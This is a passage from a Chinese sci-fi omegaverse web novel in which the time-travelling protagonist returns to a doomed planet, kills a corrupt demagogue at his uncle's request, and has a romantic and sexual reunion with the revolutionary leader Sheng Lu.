毕业后直接成为帝国少将，担任机甲部精锐分部的指挥官。 “这么大的诱惑，但是您得告诉我们，什么是最终任务, 我们好衡量衡量啊。”雷伊嘿嘿笑道。 “在歌雅末日来临之时，得知他们的逃生计划，尤其是他们前往太空的那几艘宇宙飞船, 便于我们更好地研究歌雅文明。” 这话说的好听，但仔细一想, 这就是间谍的活，只不过现在，他们和歌雅文明已经是两个纬度。 以现在的星际文明, 对歌雅文明, 也完全构不成任何威胁。 所以，说是间谍，也可以说是学术研究, 这没错。 “那如果死了呢？”劳埃斯问。 既然都说是末日了，穿越过去，就要遭受陨石撞击的末日灾难。 不同于他们在监狱里的那一次，这是全球性的灾难，所有生命都将覆灭。 导师微微一笑：“如果死亡，就是为国捐躯，会获得帝国最贵荣誉。” 雷伊：“那确实是无上的荣光啊……所以，我就不去了。” 劳埃斯：“我对指挥官很感兴趣，所以也不去了。” 毕竟，留着命才有机会当指挥官。 沙墨：“我也退出。” 沈继：“我去。” “什么？沈继，你疯了？说不定你刚穿越过去，就会直接被陨石砸中。” 沙墨也说：“沈继，以你的精神力，以后的成就绝不会止步于少将，我觉得你没必要为此冒险。” 就连导师也提醒他：“雷伊他们说的没错，你们的任务完成得很好，就算现在结束实验，国王也会嘉奖你们，沈继，你不必为此冒险。” 只有劳埃斯默不作声。 沈继道：“我必须去一次。” “等等，我明白了！”雷伊后知后觉地抬起双手，恍然大悟：“沈继去歌雅，怎么可能是为了当什么指挥官啊，分明是为了圣路啊！” 说完还一脸期待地看着劳埃斯。 劳埃斯看着他，一脸“你终于有点脑子了”的表情。 雷伊给了他一对白眼。 临去歌雅前，劳埃斯丢给他一件东西，沈继接过来一看，是一条宝石项链。 “这是什么？定情信物吗？”雷伊惊讶地看着他们。 “上次我在左右城拍卖会上，拿到的那条项链。” “就是那条，可以给人带来最大气运的项链？叫什么箭来着？”雷伊伸出食指。 “白月光之箭。”沙墨补充。 “没错没错。” 沈继道：“为什么给我？” “不为什么，希望你能活着回来。”劳埃斯道。 雷伊目光惊讶地看着劳埃斯，又看向沈继，在此刻脑海中爆发了一场复杂的旷世绝恋。 记得一开始的时候，劳埃斯对沈继可是很有偏见的。 “难道还是三角恋？”他拍了拍自己的脑袋。 —————— 4226年，歌雅末日两个月前。 【据报道，有史以来最大的陨石，即将撞击歌雅星球，这颗陨石的速度达到惊人的77马赫，目前以我军的导弹仍无法进行有效拦截。现在推测，距离陨石进入歌雅大气层，还有最后两个月。】 电视台主持人面色俨然，语气中忧愁悲戚。 歌雅人类笼罩在末日的阴影下，呈现两种形态，要么悲观绝望，要么极端疯狂。 现在大家寄希望于宇宙飞船能成功起飞。 沈继站在往日梦幻的森林城市里，高大的植物们依旧汲取阳光雨露，疯狂生长。 而周围的人们却被攫进恐惧中，变得沉默。 【据报道，国联部启动第一个计划，火种计划，将一号火种的基因和精神力留在母星，延续歌雅人类的基因，以待日后，我们的后代能重返母星。】 屏幕里，出现了一个黑发黑眸的年轻人头像。正是年轻时的父亲，沈越。 【目前，火种一号已经完成训练，科学家会将其基因留存在液体球中，同时，火种一号的意识将陷入沉睡，身体被封存，跟随宇宙飞船前往寻找新的行星。】 看来，火种计划已经开始实施了。 酒吧里传来讨论声：“为什么要把我们最厉害的神疗师孤零零地放在母星上？” “是啊，到时候，陨石撞击，就那个脆弱的液体球，真的不会被热浪冲击毁灭吗？” “你能想到的，科学家们会想不到吗？” “算了吧，这一次谁都活不了了！还是及时行乐吧！”这是悲观派。 “不不，我相信我们的政府，会帮助我们逃离末日的。”这是乐观派。 “在上飞船前，我要拉五斤屎在我老板头上！”这是极端派。 沈继离开了酒吧，在父亲陷入沉睡前，他或许还有机会再见他一面。 虽然他从小也不缺父爱，但自从到柏堡后，他近一年没见过父亲了。 尤其是现在，末日降临，死亡临近，父亲一个人即将面临长久的孤寂和未知的未来，他是否也会害怕呢？ 沈越任职于国联的神疗部，是目前最权威的神疗师，由于他现在是火种一号，为了避免极端分子的迫害，国联对其进行了重重保护。 普通人想靠近根本不可能。 沈继戴着口罩，在国联大厦外观察了许久，确实是毫无破绽啊。 看来想要见父亲，最大的捷径就是去找二叔了。 不过，沈衣是国联部部长，尤其现在是宇宙飞船最关键的时刻，怎么也不是他说见就见的。 尤其他直到现在还是个越狱“十几年”的通缉犯呢。 但话说回来，上次自己帮他拿到了飞船的材料，他总不会“忘恩负义”吧。 沈继按照记忆中的秘号，拨了通话成像。 两秒后就接通了。 “你好，我是沈衣。”一个穿着太空服的男人出现在眼前。 “你还记得我吧。”沈继坐在森林公园的一条用藤蔓缠绕成的长凳上。 虽然只有一双眼睛，但是沈衣还是第一眼就认出了他。 他有些惊喜地笑起来：“哦，原来是我们的大功臣回来了，上次见面，还是八年前了吧。” “八年前你突然消失，应该不会是担忧我将你抓进监狱吧。” “这次我找你，是想见沈越。”沈继单刀直入。 沈衣微微一笑：“不可以。” 如果是以前，他是很乐意让沈继跟沈越见面，但现在，是火种计划的实施阶段，身为火种一号的沈越已经遭受到各方面极端分子的针对。 不论是身为沈越的弟弟，还是身为国联部部长，于公于私，他都不能答应这个要求。 沈继摘下口罩：“没有一丝余地吗？” “你有什么一定要见他理由。” 以他对二叔的了解，如果自己坚持一定要见沈越，那么疑心重的二叔一定会坚定拒绝。 但如果他表现出可有可无的样子，那么二叔就会松懈了。 “也不是非见不可吧，你不愿意就算了。” 总不能说沈越是他亲爹吧。 “就这样……”沈继作势要切断通话。 “等等！”沈衣挽留。 沈继暗自好笑，果然是他的好二叔。 “想见也可以，如果你能做到一件事，我就答应带你见我哥。” “怎么还有条件呢？” “不然呢？不愿意？那就不见吧。”沈衣笑道。 “……你说。” “帮我杀一个人。”沈衣说得倒是十分轻松。 “就杀一个吗？”听说他二叔在歌雅时代的仇敌不少呢，杀一个够吗？ “……够了。” —————— 为了应对末日，歌雅政府曾提出过众多的方案，旨在延续人类文明和保存血脉生命。 包括大名鼎鼎的火种计划，飞船计划，当然也有很多被淘汰下来的方案。 其中颇具争议的就是基因工程方案。 A国的一位议员曾经提出改变基因程序，将人类的机体强度无限扩大，培育出足够抵挡陨石灾难的体格。 目前，人类已经将这种基因方案成功运用在动物身上。 这种基因编辑也有难以克服的后遗症：人类的意识会随着机体强化，脑部退化，最终变成行尸走肉。 通俗点说，就是丧尸化。 然而这个方案还是得到了不少民众的支持，在这位议员疯狂洗脑的宣传下，越来越多的人甚至愿意放弃登上宇宙飞船的名额。 “我要你杀死那位议员。”沈衣道。 沈继疑惑：“飞船上的资源就这么多，少掉一些人，不是很好吗？” 沈衣目光超脱：“人类也是资源的一部分。” 沈继不免看着他。 “太空逃生，是一个不断消耗人类的过程，我推测，宇宙飞船开向太空的前十年，太空中的人类就会锐减到四分之一，甚至比这还少。” “所以，你的意思是，你只是需要足够多的基数来完成人类最初的消耗？”沈继对二叔感到一种惊骇的陌生感。 “文明延续不是光靠一小群人就能完成的，至少在找到新的生命栖息地前，必须有足够的基数来消耗，否则歌雅人类必然灭绝，宇宙飞船最后也只会成为空壳。” 沈继明白了：“在极端的时候，人类就是最珍贵的资源……” “是的，包括我自己，包括我的兄长沈越，都是人类后代的资源。” 沈继以审视的目光看着这位二叔，这是末日来临前的觉悟吗？ 虽然过于残忍，但又无从反驳。 而最后宇宙飞船也确实成功了，歌雅文明延续了下来，证明了沈衣的做法是对的。 “我会帮你去杀了他，但是，我想知道，为什么是我？”按理说，沈衣作为国联部部长，他有的是人手。 “你的精神力很强，而且，这位议员，你也认识。” “我认识？” “那位议员，曾经是沼泽监狱的一名出色狱警。” 沈继明白了。 不是别人，正是在监狱里那位不可一世的狱警队长——多诺万·莱德。 十四年前，多诺万在监狱厕所被发现，送到医院后，经九死一生抢救回来，被宣传成为狱警英雄。 这些年凭借拥护alpha和对Enigma的打击宣传，得到众多alpha的拥护，如今已经成为A国有名的议员。 自己是监狱里的逃犯，跟多诺万有过仇怨，他死在自己手上，就算被发现，也只是单纯的仇杀，绝不会有人怀疑到沈衣身上。 他的这位二叔，可真是会做买卖啊。 第46章 第四十六章 想我了吗？ 多诺万下一次的演讲地点是一座森林城市。 大屏幕上是多诺万的宣传海报和一些激动人心的演讲片段。 沈继抬头, 看见多诺万头发已经灰白，鱼尾纹和细纹遍布那张阴冷狡诈的脸庞，显然已是中年。 在一瞬间的诧异后, 他猛然意识到这是时间流逝带来的不可抗力。 尽管对他来说往返歌雅的时间，不过穿越仪器启动的这几天。 但对于歌雅世界，对于这世界的人类来说, 确实已经是十几年后了。 忽而有一种心悸和恍惚，他想起圣路，对于圣路来说，他们从海边的分别，到现在也已经十几年了。 尽管中间他们有过几次会面, 但都是匆匆而别，从时间的脉络来看，他们最近的一次见面，还是四年前在那座有萤火虫和旋转流梯的绿色宫殿中。 “离别”这个词汇本应是双向作用的, 离别的痛苦应该是双方承担的。 但每一次，离别所带来的负面影响都只对于圣路起效，他一分一秒地度过了十几年。 而沈继在一次次穿越中, 就轻易抚平了时间的褶皱，跨过了离别的鸿沟, 以未变的面容出现在饱受时间煎熬的人们眼前。 有时候觉得圣路看他的眼神，就像一只雏鸟等待鸟妈妈的归来，因为心中这个比喻, 他还觉得自己像个神经。 但现在他心虚地知道这个比喻是贴切的。 等杀完多诺万, 见了父亲，他就去找圣路。 广场各个入口都人严查信息素。 在这里，所有人都要排队等候信息素检查, Enigma被禁止进入会场。 多诺万以抨击Enigma言论而获得民众支持，因此才害怕Enigma的报复吧。 从十几年前，到现在，他对Enigma还真是从一而终地深恶痛绝啊。 可是，现在有个得天独厚的条件是，他身上依然有信息素封闭剂的药效，没有信息素的他就像一个beta。 而且这种封闭剂只有政府机关才能得到，普通人不可能得到，所以，没有人会怀疑他。 想一想，这还是多诺万亲手给他注射的药剂呢。 沈继进入会场，多诺万已经在台上激情澎湃地演讲。 “Enigma是天生畸形的掠夺者，他们身上有各种缺陷，因此大自然才让他们数量稀少，尤其是他们的信息素，像野蛮的动物一样，像强·奸犯一样到处划分领地，他们才应该是最低等的！” 周围一片欢呼。 沈继心中毫无波澜，虽然早就见识过多诺万那种扭曲心理，但这话术堪比是洗脑传·销。 “恕我直言，最近闹得沸沸扬扬的火种一号，叫什么？沈越是吗？说是要将基因和意识留存在母星，看不见摸不着的东西，不过是在哗众取宠。” 沈继脸色一沉。 多诺万摊开双手：“摘一点基因下来，管他成不成功，然后舒舒服服地进入睡眠舱，等待苏醒，成为人民英雄。天啊，这种好事怎么轮不到我。” 底下人们哈哈大笑。 多诺万添油加醋地道：“我了解这些姓沈的，博取名利是沈家最擅长的！反正我是不会登上飞船，被他们当成早餐，还要感恩戴德！” 沈继听着周围的人们嘻嘻哈哈地互相侃笑着，也笑了一下。 看来，多诺万惹来杀身之祸，不仅仅因为什么丧尸化方案，估计还有这张嘴巴的功劳。 沈衣怎么能容忍有人这么诋毁他的亲哥。 道演讲后面，照例有记者观众互动提问情节。 一名记者问他：“有报道称多诺万先生仇视Enigma，是因为在监狱当狱警的时候，被一名Enigma囚犯打伤了，才会迁怒与这个性别……” 多诺万没等他说完，打断道：“不，虽然我对Enigma有偏见，但我受伤，是想要阻止那个Enigma囚犯对另一个omega实施不轨，他才对我心怀仇恨。” 周围拥护者们热烈地鼓掌。 沈继都被他的厚脸皮逗笑了。 另一名记者又道：“听说那Enigma犯人已经越狱多年，至今没有消息，您有什么建议吗？” “不必浪费心神，这种危害社会的蛀虫大概是死在哪个地方了。” 砰！砰！砰！什么东西击破了气场上红色的宣传气球。 观众席各种尖叫和慌乱，这种时候最怕的就是有人突然袭击，尤其是多诺万这种人，已经是暗杀名单上的常客。 多诺万早就被保镖护住，向安全通道撤退。 一串烟花出现在露天广场上空：十天内多诺万死亡。 “是沙星组织！！”有人喊了出来。 “是圣路的死亡预言！” 人们杯弓蛇影，惊慌推攘。一丛又一丛的人们，像多米诺骨牌，引起更多的恐慌。 多诺万也吓得脸色苍白。 沈继逆着人群向内场前行，沙星组织在这里，圣路也在附近吗？ 他连忙环顾四周。 人群中一道黑色身影一闪而过，立刻引起了他的注意。 他跟着那道身影转进一条通道，在阴影处，一条精神力凝固的钩子猛然向他扑来，差点击穿他的额头。 沈继用精神丝线擎住了对方的武器。 他认出来，这是那个被教皇改造过双腿的人鱼男孩。 在巨神教教堂的时候，他和对方有过一面之缘，虽然当时索兰还不过是个孩童。 再后面，自己刺杀圣路时，也交过一次手，那时，对方是个少年。 “你是索兰吗？“ 那人看向他。 索兰这个名字，除了圣路，没有人会这样喊他。 沈继见他眼神狐疑，当年的孩子，成为少年，再成为如今身材颀长的青年人。 沈继再一次感受到时间带来的冲击。 “能带我去见圣路吗？” 那青年人眼神冷漠地看着他，仿佛正权衡着什么。 “你不认得我了？之前我和圣路一起在教堂见过你。”人鱼应该没有脸盲症才对。 “我认得你，但我不想带你去。” “为什么？” 索兰没有回答，转身离开。 沈继跟在他后面，沙星组织的成员对圣路忠心无二，索兰会这样，是圣路不想见他吗？ 索兰加快脚步，上了一辆飞速悬浮舰，眼看舰门要关闭，却被什么东西挡住了，感应器发出警告。 索兰目光一凛，沈继已经进入舰内坐在他旁边座位。 “我不会带你去找圣路的。”他态度冷硬道。 “为什么？他怎么了？” 索兰不可思议的看他：“你问为什么？难道你觉得我会蠢到让你去刺杀我们领袖吗？” “……” 没错，以索兰的视角，自己就是来刺杀圣路的。 沈继立刻如释重负。 “你不带我去，那你就告诉圣路，我在这里等他。” 说完，他下了飞速舰。 距离陨石撞击还有两个月，人们不爱出门，就怕哪天被陨石砸在头顶，路上空荡荡的只有机器人在维护城市基本设施。 酒店基本没有运行，只有森林里伶仃几家酒馆和面包店，里面也只有机器人还在工作。 沈继休整好，倚在一片巨大的仿生太阳能叶子下睡着了。 晚上的时候下了淅淅沥沥的小雨，滴在头顶的仿生叶伞上，发出清脆的声音。 整座森林悠然寂静。 这种惬意的温柔的世界，让沈继睡沉了。 睡梦中一道凉意攀袭上他心头，仿佛一条毒蛇悬顶在他额头上。 沈继猛的睁开眼。 在迷蒙的小雨中，一道黑色身影正站在仿生叶外面，雨滴淋淋漓漓地从他衣襟和衣角下滴落。 那双红色的眼睛居高临下地看着他。 沈继正要开口，对方已经钻了进来，一只略带冷意的手穿过茧壳压住他的嘴巴：“嘘！” 茧壳的茧丝气势汹汹地攻击对方，但被沈继收了回来。 那些猝不及防的伤口也随之愈合。 沈继睁着眼睛看他，他的头发上带着湿润的水珠，外衣上也晕开了一大片沉甸甸的，里面的衬衫都湿透了。 大概他站在雨里盯了有他一会儿了，看来自己睡得太死了。 “还真是一点都没变啊。”圣路盯着他的双眼，上下打量他，眼神极具攻击性。 随着他说话，他的手指逐渐施加力道，手掌也使劲压住他的唇，沈继怀疑他是恨不得把自己的颌骨压碎。 沈继也在看着他，圣路的外貌几乎没有变化，在人鱼近千年的寿命下，十几年的时光当然无法留下什么痕迹。 “宝贝，你想我了吗？”他眼神带着狠劲，声线也分外冷酷。 沈继要怎么回答。 他没有经历离别的时间所带来的茫然忧愁伤感思念，因此他没有办法回答这个问题。 虽然，他也会想起圣路，也会被他牵动情绪，但跟圣路相比，这微不足道。 没有相应的付出承受到的爱，就像是一种偷盗，窃取，剥夺。 那只手按在他嘴上，也没有松开，似乎圣路也没打算让他回答。 在他心里，自己是个冷酷无情的人渣了。 圣路敛下眼睑，贴近他的脸庞，沈继感到一层细密的睫毛划过他脸上的肌肤。 “马上我们就能死在一起了，陨石掉下来的时候，我抱住你，这也算殉情了吧。”说到这里，他眼神中的阴郁一扫而空，兴奋的光芒在战栗。 在圣路眼中，世界毁灭，就是人类被报复的终点，也是他爱情的终点。 沈继拉开他的手，道：“疯子，你应该登上宇宙飞船逃生。” 圣路抓住他的肩膀：“你觉得我会带着沙星组织登上飞船吗？” “沈衣说过，所有人都可以上宇宙飞船。” 圣路露出笑容：“不，我根本不顾虑这点。” 沈继心里一紧：“你要做什么？” “我不告诉你。” 沈继冷道：“好吧，如果你不登上飞船，我们永远见不到了。” 沈继这次回来，不仅仅是见他，也是为了心中的一个设想： 在世界末日前，如果圣路能登上飞船，而不是留在母星当火种，也许一切都能改变，圣路会活下来，不会附在自己身体内，自己也不会有寿命将尽的困扰。 这是他能想到的最好的办法。 所以他不惜拿这点威胁他。 “对不起，我会告诉你，宇宙飞船不会成功，人类逃不出歌雅。”圣路眸色冰凉。 “你想破坏飞船计划吗？”沈继根本不敢想，这家伙有多疯。 圣路笑道：“宝贝好聪明啊。” “疯了吗？有太空军和沈衣在，你还没靠近飞船就死掉了。” “亲爱的别担心我。”圣路微笑道。 “……你的关注点在哪里？” “我不必对飞船动手，只要切断地表和空间站的联系，人类飞不上太空。” 沈继抓住他肩膀，试图把他摇醒：“你个死疯子！疯透了。” 圣路被他摇得浑身瘫软，抱住他，气喘暧昧：“宝贝，留点力气，死之前我们得做·爱做到脱力啊。” 第47章 第四十七章 猛烈疯狂。 沈继瞥了他一眼, 末日之前，做到脱力？想象一下，以后新世纪人类博物馆, 就能看见他们正在做·爱的场景化石。 想想都可怕。 “疯子，你都要毁灭全世界了，还在乎做不做·爱吗？” 沈继的语气平静, 像朋友闲聊时的松弛。 “你答应过我的，在我死之前，你要陪我做。这可是我的遗愿啊。” 他用那苦涩的眼神看他，看起来颇为可怜，前提是能忽略他那病态的志在必得的微笑。 “为什么非得死呢？为什么不去争取活着的资格呢？” 身为一个想活而终究注定英年早逝的人, 沈继有幸福的童年，有和睦的家庭，他对这个世界的留恋超乎想象。 在一开始，他究竟是不是真的有那种强烈的意志去杀死圣路, 连他自己都说不清楚。 甚至到后来，他那么轻易地放弃了这个自救的办法，妄想去拯救圣路。 他对圣路的感情复杂, 在十八年的生命中，他与圣路是两个世界的个体, 又几乎成为一体。 只是命运抓弄，注定他们无法在一起。 现在这个罪魁祸首，却在说着放弃活着的希望, 要带着全人类死去。 但是, 他怎么能怪他呢？ 这个世界欠了圣路的，圣路的痛苦他根本无法去感受万分之一。 自己也没有办法拯救他。 沈继看着他：“也许，在很久之后, 我们会以另一种方式永远在一起。” 等到他这幅身躯死亡，圣路的意识无所依附，也将消失。 那何尝不是一种殉情。 不对，那应该是一种窝窝囊囊的同归于尽。 这么想着，沈继也笑了。 他看向圣路：“过来。” 他说这两个字时，那种语气神态，像是诗意盎然的春雨，在向森林里的一草一木下达怜爱的命令。 风窃窃地私语。 圣路按住他肩膀，跨在他双腿两边，双手贴近他的锁骨。低头时那长长的头发弹开，像小提琴上的弦，漂亮优雅。 像之前每一次接吻一样热烈。 被紧紧攫住的欲望化成风的形态，热烈的亲吻在这雨夜里，如同冷雨中，温暖的阳光覆盖他的灵魂。 温存之际，沈继伸出双臂环抱他，才发现他身上的衣服湿得能滴出水，连他胸前的衣服和裤子都被他晕湿了。 “你究竟在外面站了多久？” 圣路吻地意乱情迷，忽然被他拉开，急得飚狠话：“混蛋！再推开我，我就……” 结果沈继只是问这么一个关心他的问题。 圣路一时僵住，来不及咽下的口水都黏在嘴唇上，亮晶晶的。 沈继手指拨了拨他湿漉漉的头发，微微一笑：“你就什么？” 圣路被他撩得浑身兴奋颤抖，他没回答，着急去咬他唇瓣，延续这个吻。 双唇带着水润，稍微舔舐就像是蜜糖，轻轻一叩牙齿，浑身瘫软无力。 沈继等他吻得差不多了，帮他解开扣子：“把衣服脱下来。” 衣服脱下来，不就是要做了吗？ 圣路强忍着一颗躁动难耐的心，口干舌燥地等着他给自己解开扣子。 黑色的外套浸了水沉甸甸的，被沈继放在一边。 白色的衬衣紧紧贴在□□上，勾勒出漂亮紧实的线条。 连他自己也忘了什么时候淋的雨，他从索兰那里一听见沈继的消息，就迷怔了，一路到这里，风都是热乎乎的，看见沈继的时候，更不知天上何时下雨。 沈继帮他脱下黏腻湿滑的衣服，指尖偶尔一触及人鱼的肌肤，就惹得圣路那细细喘着的呼吸一滞，白皙的肌肤迅速窜起红晕。 圣路直接把自己的衣服撕掉了，顿时只剩一条裤子，坐在他腿上，搂住他肩膀，颤声道：“快点，不要勾引我了！” 沈继笑着，低头吻他身体，感觉他肌肤上有湿润的雨气，像树木的芬芳，连带着自己的唇齿蘸濡了春天的气息。 真正到了这种至关重要的时刻，圣路的声音仿佛消失了，他屏住呼吸，微微张着唇，紧张地感受着这疯狂的亲密。 他的双手搂住他的身体，战栗起来。 omega的信息素迅速淹没了这片小小的仿生叶下的世界。 沈继虽然信息素封闭，但依然从这汹涌的信息素海洋中嗅到了求爱的气息。 比之前的任何一次都猛烈疯狂。 这种信息素掌控了Enigma的理智，类似入喉的毒药，完全没有任何回旋的余地，引诱他，催促他立刻占有omega的身体。 这个时候，沈继本想温柔一点，但随着信息素的蛊惑，事情有点失去控制了。 “沈继……怎么这么疼……”omega白皙高健的身躯此刻像个小孩一样缩在他怀里，委屈巴巴的。 沈继不能说自己体内还有信息素封闭剂。 Enigma和omega是性别中的两个极端。没有Enigma信息素的帮助，无法让另一方的身体彻底放松，会让这事变得艰难，尤其圣路和他还是第一次。 圣路这疯子，还故意释放了那么多信息素来勾他。 “疼得厉害吗？”沈继问他，声音沉涩。 不知道他是故意的还是假装，之前被茧丝攻击到双手流血都面不改色，现在还没开始呢，就说疼了？ 但也没办法回头了。沈继跳动的脉搏此刻在狂乱的叫嚣，因为这股omega的信息素发狂，欲·望化作形象，陷入其中，是无法清醒的。 “嗯，疼……”圣路喘着气息，倚在他肩膀，露出病态颤抖的笑：“疼到要爽死了……” 夜色的森林城市，悬浮轨道上的一辆公车从大树的树杈上穿过，灯光悠悠地映着飘雨。 整座城市的人们躲在家中，等待末日降临。森林中空空荡荡。 雨势扩大，烟雾朦胧，雨滴隔着叶子噼噼啪啪，声音近地像落在他们的耳朵里。 春雨席卷。 烧毁为止。 第一次做到这最后一步，圣路哑然失声，失焦朦胧的眼眸半睁着，人鱼的背脊上渐渐显出漂亮的几点棱形的鳞光。 长发像水一样盘绕在Enigma的手臂和腰上。 他的耳鳍不知何时显出形态，被沈继摸了一下，就爽到声线颤抖：“不要……不要摸那里。” 他故意欲拒还迎。沈继就配合他，不仅摸，还用指尖在质感丝滑的鳍尖上揉了揉。 圣路激动地差点尖叫，腰部从他的双手中一挣，在他后颈上咬了一口。 沈继吃了一痛，不仅不收敛，还笑道：“真乖，奖励你一下。” 他张嘴轻轻含住他的耳鳍。 感觉到圣路抓住他肩膀的手猛然紧绷了一下，随后像溪谷的水流一样放任瘫软，在他怀里轻颤不止。 第48章 第四十八章 羁绊床伴。 天边雨势渐收, 雨滴顺着叶子上面的纹路顺滑下来。 沈继感觉黏腻的感觉在他脖子边轻轻绕着，一阵酥酥麻麻的痒意。 疯子，他们可是做到天快亮的。 但当他睁开眼时, 身边已经空无一人。 圣路不见了，自己的外套也不见了。 那家伙怎么跑了？ 不过他确定，圣路在他身边睡了一晚上。 在这之前, 他准备先去杀了多诺万。 外面的天空虽然是人造幕景，但此刻也已风清气朗。 沈继走到森林城市的轨道站台，乘车前往多诺万演讲的地点。 多诺万这家伙确实有点胆子，被沙星组织下了死亡预言，依然大摇大摆地在电视台发表声明, 表示不惧邪恶组织的威胁。 今天下午要继续演讲，而且还是同一个地点。 轨道站台的广告巨屛上出现多诺万的采访： “我的阻力越多，越证明我的方案是正确的，才会让某些心存不轨的人产生了危机, 他们的威胁对我毫无用处。” 这番“豪言壮语”也引来了更多的支持者，尤其是这末世的敏感时期，大家都想要找一个救世主。 进入广场, 从肉眼可辨别，这一次来支持多诺万的人数比上一次多了一倍。 相应的安保力度也比上次要严密许多。 沈继坐在最后的看台上, 看见大屏幕上实时转播出多诺万那张不可一世的脸。 “上次的意外，请大家不担心，就算我死了之后, 也会有千千万万的勇敢者站出来, 我的基因改革计划不会放弃。” 现场热烈的呼叫起来，不断喊着多诺万的名字。 就在这时，广场上的大屏幕, 突然切屛。 十几道身影出现在屏幕中。 “啊！是圣路！” “还有沙星组织！” “他们要干嘛？！天啊……” 身旁的人们开始惊慌，有些甚至已经准备离开会场。 屏幕中，圣路坐在一把深蓝色的椅子上，身后一字排开是沙星组织的成员。 沈继看到圣路的脖颈上还有昨晚上的痕迹，像树上缓慢生长的花朵。 圣路有逆天的自愈力，怎么会这么久还没消？ 圣路的手撑在扶手上支着脑袋，笑道：“真热闹啊。” 多诺万向旁边助手道：“还不快把屏幕电源关掉！” “先生，我们关不掉。” 多诺万强装镇定：“哼，圣路，你想干什么？” “听说，多诺万先生是狱警界的模范。我很有兴趣，来听一听您的演讲。” 多诺万嘴角一抽。 圣路打了个响指：“忽略我的存在，继续吧。” 从看台角度看去，那巨大而高深的屏幕中，圣路的手指都比多诺万的身影大。 人们视线中只看到沙星成员的身影，以及圣路讽刺冷漠的脸庞。 这种场景，记者和政治对手是最不能错过赶热闹的。 记者们一个一个问题向多诺万接抛出：“多诺万先生，网上流出的表格，说您收受行贿，对犯人进行人格侮辱和精神虐待。对此，您有什么看法？” “传言您指示手底下的狱警，只要犯人交钱就可以和监狱里的omega睡觉，这是真的吗？” 多诺万脸色铁青：“这都是对手攻击我的手段和谣言，我当时重伤离开监狱，换了新队长后，监狱立刻就发生了暴动，这足以证明，我的管理是问心无愧的。” 【哦？我听说，多诺万先生曾在监狱里制止一个十恶不赦的Enigma犯人，对omega不轨，是不是应该详细说说？】 这句话是圣路说的，他的声音透过电磁波，穿透了广场的角落，显得低沉冷酷。 “不错，那个Enigma犯人无恶不作，仗着性别在监狱里胡作非为，我只是尽我的本职工作罢了。” 圣路冷笑：“每个到你监狱里的omega犯人都活不过两个月，他们在监狱里，成为了你和手下赚钱的工具，被alpha侵犯而死。” 这话一出，看台上的人们露出了惊愕的神情，显然多诺万的人设营销做的不错，人类对他抱有极高的人格期待。 多诺万面向观众看台，神色自若：“朋友们，这位圣路曾经是我手底下的犯人，因此对我心生不满诋毁我。事情到了这个地步，我必须说实话，他就是我曾说过的，那个被Enigma骚扰，被我救下的omega，但他恩将仇报。” 沈继笑出了声。 多诺万有这样的脸皮，怪不得能混的风生水起。 圣路挥了挥手指，身后一位成员举起手·枪，对着屏幕外的多诺万扣下扳机。 还没来得及反应，一颗冰冷的精神力子弹从天边出现，破空而来，子弹穿过了多诺万的手臂，立刻鲜血淋漓。 如果不是多诺万身边的精神力高手提早防范，那颗子弹穿透的就是他的心脏。 没人知道那颗子弹究竟是从哪里出现的。 再看屏幕内，沙星成员一个都没有离开过。 看台上，人们开始窃窃私语。 “听说沙星组织里的第三号成员，只要是他射出的子弹，就可以随心所欲掌控子弹出现的空间和角度……” “天啊，难道圣路说的是真的，否则沙星组织为什么要针对多诺万呢？” 圣路闭上眼笑道：“没关系，我本来也不打算你承认，瞄准他那张嘴巴，既然满口谎言，嘴巴留着只是祸害。” 后面那句话是对身后的男人说的。 “好的。”男人再次举起手·枪。 但多诺万这次是有备而来，身边的高手为他设立了十几道防护。 他自己身上也穿着最高级的防弹衣。 子弹甚至没有穿透两道精神力防护墙。 多诺万脸色苍白，但在自己的信徒面前，必须硬抗到底：“等等！我从没说谎，否则他为什么畏罪潜逃，越狱到现在还没出现的家伙，你不能用那样的家伙来侮辱我！” 观众们立刻热血沸腾：“支持多诺万！支持多诺万……” 沈继站起身，走下看台的台阶，向多诺万走去。他没兴趣再听他那些长篇大论。 在众目睽睽之下，他走下台阶，走到广场中央。 随着他所过之地，精神力丝线也穿透了两道阻拦的精神力盾防线。 多诺万神情俨然地看着他。 眼看着沈继畅通无阻地走近了多诺万，身边的保镖都感到惊恐不已，但在这个时候，他们也必须竭尽全力保护雇主。 精神力盾防抵住了第一次精神丝线的攻击，但不到两分钟就撑不住了。 “多诺万，知道我是谁吗？” 沈继摘下自己的帽子。 被拥护在防爆盾后面的多诺万抬起头，眼中困惑而不忘嚣张：“哼，想杀我的人很多，我难道要一一去认吗……” 哦，忘了，歌雅人都有点脸盲。 “编号H2488。”沈继说出了那个监狱里的编号。 迈入中年的多诺万脸色猛然煞白，停顿了一下，继而他咧开嘴巴笑起来，像被什么东西搔了笑穴，笑得停不下来，喉咙里发出嘶嘶的风管声。 “这些年东躲西藏的，狼狈吧，看见我过的这么好，是不是很痛苦，心里难受到要发疯了吧。” “东躲西藏？” “是啊，在阴暗角落里看我风光无限，前途无量，所以嫉妒到恨不得杀了我吧？”多诺万感觉自己赢了。 沈继笑了：“嫉妒？我只是睡了一觉，你已经是个中年老头了，我为什么要嫉妒一个丑陋无趣的中年alpha。” 多诺万惊讶地看着他，是的，沈继仍旧是当年在监狱时那副年轻俊冷的模样。 “……你怎么会？” 不过，沈继没有给他再惊讶的机会，一条精神丝线凭空缠住他的脖子。 一声轻响。 两个保镖回过头时，多诺万已经倒在了广场上。 头颅和身体分家。 沈继踢了踢他的脑袋：“要不是你的命有用，我甚至都懒得对付你这样的人。” 多诺万脑袋上的眼睛还在死死瞪着他。 这场面让广场上的人惊恐地四散奔逃，霎时间已经空无一人。 沈继看向大屏幕，圣路和沙星成员从刚刚开始就只是静静地看着他，一言不发。 这么看起来，自己好像抢了沙星组织的人头？ “不好意思，因为我先答应别人要杀他，所以……” “亲爱的，你在说什么？我做这一切都是为了你啊，我怎么会怪你？”圣路的指尖在膝盖上轻点，笑得温柔。 他身上还披着沈继的那件外套。 沈继问他：“早上你怎么走了呢？” 圣路坐在椅子上，看着他的眼神，充满了爱意和病态：“想我了是吗？你也看见了，我刚好有事，宝贝。” 沈继心中冷笑，以他对这家伙的了解，绝对是有猫腻。 “是吗？我还想今晚请你约会呢。但是，你看起来确实很忙啊。” “……约会？”圣路的眼神一瞬间迸发高光，他的嘴唇动了动。 “是的。有空吗？” 在0.001秒内心交战后，圣路放弃了挣扎：“当然有空。” 沈继笑起来：“那好，昨天晚上的老地方见面。” “昨天晚上的老地方”这几个字，让圣路的脸立刻不争气地红起来。 沈继说完就转身离开。 圣路紧接着站起身离开。 实时屏幕里，沙星成员你看看我，我看看你。 